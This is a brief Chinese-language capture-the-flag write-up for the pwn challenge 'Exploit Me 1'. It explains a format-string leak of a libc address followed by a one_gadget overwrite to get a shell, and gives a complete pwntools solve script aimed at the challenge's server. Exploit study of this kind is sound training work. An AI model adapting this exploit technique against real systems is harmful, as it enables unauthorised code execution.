# [CH] Exploit Me 1 ###### tags: `Writeup` `Pwn` `Chinese` > [name=Curious] ## 思路和解法 先把 `chal` 丟進 IDA 看看 ![](https://hackmd.io/_uploads/HJavA__Th.png) 可以發現這題可以用 FMT leak 一個 address 然後用 One Gadget 來 get shell,所以需要 leak libc 的 address 接著看看 One Gadget 的條件 ![](https://hackmd.io/_uploads/SyPo1tdp2.png) 如果仔細看 `main` 的 asm,可以發現最後面塞了 `xor rsi, rsi` 和 `xor rdx, rdx`,所以 One Gadget 的條件就剩下需要 `rbp - 0x78` 是可寫的,既然我們 leak 了 libc 的 address,所以直接用 libc 的可寫段的某一個 address 寫給 `rbp` 就好了 Solve Script : ```python= from pwn import * context.arch = 'amd64' # r = process('./chal') r = remote('lotuxctf.com', 10007) r.sendlineafter(b'> ', b'%9$p') libc = int(r.recvline().strip(), 16) - 0x029d90 info(f'libc : {hex(libc)}') one_gadget = libc + 0xebcf8 buf = libc + 0x21af00 r.sendlineafter(b'> ', b'a' * 0x10 + flat(buf, one_gadget)) r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}